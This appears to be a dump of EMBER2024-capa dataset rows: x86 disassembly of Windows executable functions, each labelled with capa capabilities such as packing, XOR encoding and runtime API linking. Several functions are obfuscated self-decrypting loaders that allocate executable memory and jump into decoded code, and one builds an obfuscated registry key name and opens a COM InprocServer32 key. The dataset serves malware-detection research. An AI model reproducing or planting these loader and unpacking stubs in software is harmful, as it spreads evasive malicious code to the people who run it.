joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5197b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4aa015
lea edi, [esi - 0xa9015]
mov dword [edi + 0x106424], 0xe35b113a
push edi
or ebp, 0xffffffff
jmp 0x5197da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5197e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5197d0
mov eax, 1
add ebx, ebx
jne 0x5197f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x519804
jne 0x519823
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519823
dec eax
add ebx, ebx
jne 0x519810
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5197e8
add ebx, ebx
jne 0x51981f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x519875
xor ecx, ecx
sub eax, 3
jb 0x51983b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5198aa
sar eax, 1
mov ebp, eax
jmp 0x519846
add ebx, ebx
jne 0x519846
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519814
inc ecx
add ebx, ebx
jne 0x519854
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x519814
add ebx, ebx
jne 0x519861
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x519856
jne 0x519872
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x519856
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x519894
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x519886
jmp 0x5197d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x519894
add edi, ecx
jmp 0x5197d6
pop esi
mov edi, esi
mov ecx, 0x3853
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5198b2
cmp byte [edi], 0x13
jne 0x5198b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5198b7
lea edi, [esi + 0x113000]
mov eax, dword [edi]
or eax, eax
je 0x519926
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1194ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x119528]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5198e4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x119530]
or eax, eax
je 0x519920
mov dword [ebx], eax
add ebx, 4
jmp 0x519901
call dword [esi + 0x11952c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x519957
cmp al, 0xef
ja 0x51994a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x51992c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x519939
mov ebp, dword [esi + 0x119534]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x1199b2]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5199a3
sub esp, 0xffffff80
jmp 0x4013f0
Function at 0x401370
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7ec
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x79c], 4
mov dword [ebp - 0x784], 0x80000000
mov dword [ebp - 0x798], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x72c], eax
pushal
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12d
mov dword [ebp - 0x28], 0x16
mov dword [ebp - 0x7ec], str.222TWARE11asses
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12c
mov dword [ebp - 0x28], 0x15
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x4360c8], ecx
mov edx, dword [ebp - 0x7ec]
mov byte [edx], 0x53
mov eax, dword [ebp - 0x7ec]
mov byte [eax + 1], 0x4f
mov ecx, dword [ebp - 0x7ec]
mov byte [ecx + 2], 0x46
mov edx, dword [ebp - 0x7ec]
mov byte [edx + 9], 0x43
mov eax, dword [ebp - 0x7ec]
mov byte [eax + 0xa], 0x6c
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x7ec]
push edx
push 0x80000002
call dword [0x4360c8]
or eax, eax
je 0x401461
xor eax, eax
jmp 0x401706
lea eax, [ebp - 0x34]
push eax
push str.clsid09474572_b2fb_11d1_a1a1_0000f875b132inprocserver32
push 0x80000000
call dword [0x4360c8]
or eax, eax
je 0x401480
xor eax, eax
jmp 0x401706
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
or eax, eax
jne 0x401498
xor eax, eax
jmp 0x401706
push 1
mov ecx, dword [0x4360c4]
push ecx
jmp 0x45b8b4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401a70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x114], str._ffffffffffffffff
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x11c], eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x11c]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401aea
cmp dword [ebp - 0x118], 0
je 0x401aea
jmp 0x401b4c
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
je 0x401b4c
mov dword [ebp - 0x120], 0x3c41
mov eax, dword [ebp + 8]
add eax, 8
mov dword [0x4360b4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [0x4360d0], edx
mov dword [ebp - 0x120], 0x3c41
mov dword [ebp - 0x120], 0x3c41
call fcn.004011c0
mov eax, dword [ebp + 8]
mov dword [0x4360cc], eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
call fcn.00401980
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x401aea
mov esp, ebp
pop ebp
ret
Function at 0x4092e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4092f8
pop dword [ebp - 0x14]
mov eax, 0x4092f8
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3a306
push 0
mov eax, 0x5454a1e1
add eax, 0xabed301f
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x3c03
xor edx, edx
add edx, eax
mov edi, 0x436000
add edi, dword [ebp - 0x14]
mov esi, 0x5dbe1c44
xor dword [ebp - 0x10], eax
mov ebx, dword [edi]
add dword [ebp - 4], edx
sub ebx, esi
mov dword [edx], ebx
add dword [ebp - 0xc], ecx
add edx, 4
add edi, 0x2b209c04
add edi, 0xd4df6400
loop 0x409342
add eax, 0xd4abfbce
add eax, 0x2b54e711
mov ebx, eax
add eax, 0xc45597ec
sub eax, 0xc45597e7
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x430a5940
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x430a594f
pop dword [ebp - 0x10]
mov eax, 0xf3888862
add eax, 0x4f81d0ed
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x38a22
push 0
mov eax, 0x267401fe
sub eax, 0xe369f15e
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0xedd2c0ff
add ecx, 0x122d8b18
mov esi, eax
mov edi, 0x15245efa
sub edi, 0xd21980fa
add edi, dword [ebp - 0x10]
mov edx, 0xe684c19c
add edx, 0x96dc6efa
xor dword [ebp - 0xc], edi
mov ebx, dword [edi]
xor dword [ebp - 8], edi
add ebx, edx
sub dword [ebp - 0xc], 0x36a4eef6
mov dword [esi], ebx
add dword [ebp - 0xc], 0xdd944ebc
add esi, 0xe2b7871
sub esi, 0xe2b786d
add edi, 0x411a0556
add edi, 0xbee5faae
loop 0x430a59ae
add eax, 0x1232f
xor ebx, ebx
add ebx, eax
add eax, 0xa2b2ed14
sub eax, 0xa2b2ed0f
mov ecx, 0x60a63bd6
add ecx, 0xe263c42a
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x430a67ba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa9f0]
jne 0x430a67c4
repz ret
jmp fcn.430a7df9

Function at 0x430a78c2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.430a25f9
and dword [ebp - 4], 0
cmp dword [0x430ab2c0], 0
mov ebx, eax
jne 0x430a7973
push 0x430a222c
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x430a7a24
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x430a2220
push edi
call esi
test eax, eax
je 0x430a7a24
push eax
call fcn.430a5940
mov dword [esp], 0x430a2210
push edi
mov dword [0x430ab2c0], eax
call esi
push eax
call fcn.430a5940
mov dword [esp], 0x430a21fc
push edi
mov dword [0x430ab2c4], eax
call esi
push eax
call fcn.430a5940
mov dword [esp], 0x430a21e0
push edi
mov dword [0x430ab2c8], eax
call esi
push eax
call fcn.430a5940
pop ecx
mov dword [0x430ab2d0], eax
test eax, eax
je 0x430a7973
push 0x430a21c8
push edi
call esi
push eax
call fcn.430a5940
pop ecx
mov dword [0x430ab2cc], eax
mov eax, dword [0x430ab2cc]
cmp eax, ebx
je 0x430a79cb
cmp dword [0x430ab2d0], ebx
je 0x430a79cb
push eax
call fcn.430a5940
push dword [0x430ab2d0]
mov esi, eax
call fcn.430a5940
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x430a79cb
test edi, edi
je 0x430a79cb
call esi
test eax, eax
je 0x430a79c2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x430a79c2
test byte [ebp - 0xc], 1
jne 0x430a79cb
or dword [ebp + 0x10], 0x200000
jmp 0x430a7a04
mov eax, dword [0x430ab2c4]
cmp eax, ebx
je 0x430a7a04
push eax
call fcn.430a5940
pop ecx
test eax, eax
je 0x430a7a04
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x430a7a04
mov eax, dword [0x430ab2c8]
cmp eax, ebx
je 0x430a7a04
push eax
call fcn.430a5940
pop ecx
test eax, eax
je 0x430a7a04
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x430ab2c0]
call fcn.430a5940
pop ecx
test eax, eax
je 0x430a7a24
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x430a7a26
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43ed00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x42f015
lea edi, [esi - 0x2e015]
push edi
jmp 0x43ed1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43ed21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43ed10
mov eax, 1
add ebx, ebx
jne 0x43ed33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43ed44
jne 0x43ed63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43ed63
dec eax
add ebx, ebx
jne 0x43ed50
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x43ed28
add ebx, ebx
jne 0x43ed5f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x43edb5
xor ecx, ecx
sub eax, 3
jb 0x43ed7b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43edea
sar eax, 1
mov ebp, eax
jmp 0x43ed86
add ebx, ebx
jne 0x43ed86
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43ed54
inc ecx
add ebx, ebx
jne 0x43ed94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43ed54
add ebx, ebx
jne 0x43eda1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43ed96
jne 0x43edb2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43ed96
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43edd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43edc6
jmp 0x43ed16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43edd4
add edi, ecx
jmp 0x43ed16
pop esi
mov edi, esi
mov ecx, 0x11ee
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43edf2
cmp byte [edi], 7
jne 0x43edf2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43edf7
lea edi, [esi + 0x3c000]
mov eax, dword [edi]
or eax, eax
je 0x43ee66
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3e000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3e050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43ee24
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3e054]
or eax, eax
je 0x43ee60
mov dword [ebx], eax
add ebx, 4
jmp 0x43ee41
call dword [esi + 0x3e064]
mov ebp, dword [esi + 0x3e058]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43ee9a
sub esp, 0xffffff80
jmp 0x401220
Function at 0x40d2a8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004089e7
mov dword [ebp - 0x14], eax
cmp dword [0x436680], esi
jne 0x40d39b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d328
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d47b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d47b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d47b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x436680], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x436684], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x436688], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x436690], eax
test eax, eax
je 0x40d398
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43668c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d3c0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d3b3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d3d5
push 4
pop eax
jmp 0x40d47d
cmp dword [ebp - 0x14], esi
je 0x40d3d5
push dword [0x436680]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d3ba
mov eax, dword [0x43668c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d433
cmp dword [0x436690], edi
je 0x40d433
push eax
call ebx
push dword [0x436690]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d433
test eax, eax
je 0x40d433
call ecx
test eax, eax
je 0x40d428
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d428
test byte [ebp - 8], 1
jne 0x40d433
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d463
mov eax, dword [0x436684]
cmp eax, edi
je 0x40d460
push eax
call ebx
test eax, eax
je 0x40d460
call eax
mov esi, eax
test esi, esi
je 0x40d460
mov eax, dword [0x436688]
cmp eax, edi
je 0x40d460
push eax
call ebx
test eax, eax
je 0x40d460
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x436680]
call ebx
test eax, eax
je 0x40d47b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d47d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403e50
mov esp, ebp
pop ebp
ret
Function at 0x40d588
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d3c
mov dword [ebp - 0x14], eax
cmp dword [0x819a58], esi
jne 0x40d67b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d608
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d75b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d75b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d75b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x819a58], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x819a5c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x819a60], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x819a68], eax
test eax, eax
je 0x40d678
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x819a64], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d6a0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d693
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d6b5
push 4
pop eax
jmp 0x40d75d
cmp dword [ebp - 0x14], esi
je 0x40d6b5
push dword [0x819a58]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d69a
mov eax, dword [0x819a64]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d713
cmp dword [0x819a68], edi
je 0x40d713
push eax
call ebx
push dword [0x819a68]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d713
test eax, eax
je 0x40d713
call ecx
test eax, eax
je 0x40d708
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d708
test byte [ebp - 8], 1
jne 0x40d713
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d743
mov eax, dword [0x819a5c]
cmp eax, edi
je 0x40d740
push eax
call ebx
test eax, eax
je 0x40d740
call eax
mov esi, eax
test esi, esi
je 0x40d740
mov eax, dword [0x819a60]
cmp eax, edi
je 0x40d740
push eax
call ebx
test eax, eax
je 0x40d740
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x819a58]
call ebx
test eax, eax
je 0x40d75b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d75d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040f0
mov esp, ebp
pop ebp
ret
Function at 0x407a60
Capabilities:
Link many functions at runtime

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 0x34], 0
jne 0x407b30
push ebx
push esi
push str.mapi32.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push 0xc
mov dword [edi + 0x18], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x407ad0
xorps xmm0, xmm0
movq qword [ebx], xmm0
push str.MAPIFreeBuffer
mov dword [ebx + 8], 0
push dword [edi + 0x18]
call esi
push str.MAPIAllocateBuffer
push dword [edi + 0x18]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx + 8], esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx], vtable.MapiAllocator.0
mov dword [ebx + 4], eax
jmp 0x407ad2
xor ebx, ebx
push str.MAPIInitialize
push dword [edi + 0x18]
mov dword [edi + 0x1c], ebx
call esi
push str.MAPIUninitialize
push dword [edi + 0x18]
mov dword [edi + 0x24], eax
call esi
push str.MAPILogonEx
push dword [edi + 0x18]
mov dword [edi + 0x28], eax
call esi
push str.MAPIAdminProfiles
push dword [edi + 0x18]
mov dword [edi + 0x2c], eax
call esi
mov dword [edi + 0x30], eax
mov eax, dword [edi + 0x24]
pop esi
pop ebx
test eax, eax
je 0x407b30
cmp dword [edi + 0x28], 0
je 0x407b30
cmp dword [edi + 0x2c], 0
je 0x407b30
push 0
call eax
mov dword [edi + 0x14], eax
test eax, eax
js 0x407b30
mov dword [edi + 0x34], 1
pop edi
ret

Function at 0x40d5c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40d5cf
pop dword [ebp - 0x28]
mov eax, 0x6d8b4181
sub eax, 0x6d4a6bb2
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xdecbbcf4
sub dword [ebp - 0x38], 0x907977a9
mov dword [ebp - 0x34], 0x83298173
add dword [ebp - 0x34], 0xaf09cad2
mov dword [ebp - 0x30], 0xa45a0181
sub dword [ebp - 0x30], 0x580dbd53
mov dword [ebp - 0x2c], 0x932099ba
add dword [ebp - 0x2c], 0x6cdf6646
lea eax, [ebp - 0x38]
push eax
mov eax, 0xdc835d9e
sub eax, 0xdc422d06
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x1a8543c0
sub dword [ebp - 0x38], 0xa612da6a
mov dword [ebp - 0x34], 0x94402632
sub dword [ebp - 0x34], 0x52d3c4bd
mov dword [ebp - 0x30], 0x3b5ef038
sub dword [ebp - 0x30], 0xd7ef83cc
mov dword [ebp - 0x2c], 0x47d81e56
sub dword [ebp - 0x2c], 0x47d81e56
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x4b04867
add eax, 0xfb90e7d1
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x356ef
push 0
call eax
mov ecx, 0x4c58c443
add ecx, 0xb3a77536
xor ebx, ebx
add ebx, eax
mov esi, 0xc4414b2f
add esi, 0x3c0058d1
add esi, dword [ebp - 0x28]
mov edx, 0x8423cfcd
sub edx, 0xa816afc6
mov edi, dword [esi]
xor dword [ebp - 0x14], esi
sub edi, edx
sub dword [ebp - 0x20], 0xa2c07447
mov dword [ebx], edi
xor dword [ebp - 0x10], 0x5bcd84aa
add ebx, 0xfc27b51e
add ebx, 0x3d84ae6
add esi, 0x22aa4ca6
add esi, 0xdd55b35e
loop 0x40d6f3
add eax, 0xd8b7
mov ebx, eax
add eax, 0xf8ae67f1
add eax, 0x7519814
mov ecx, 0xac3e082c
add ecx, 0x5401f7d4
add ecx, dword [ebp - 0x28]
call ebx
leave
ret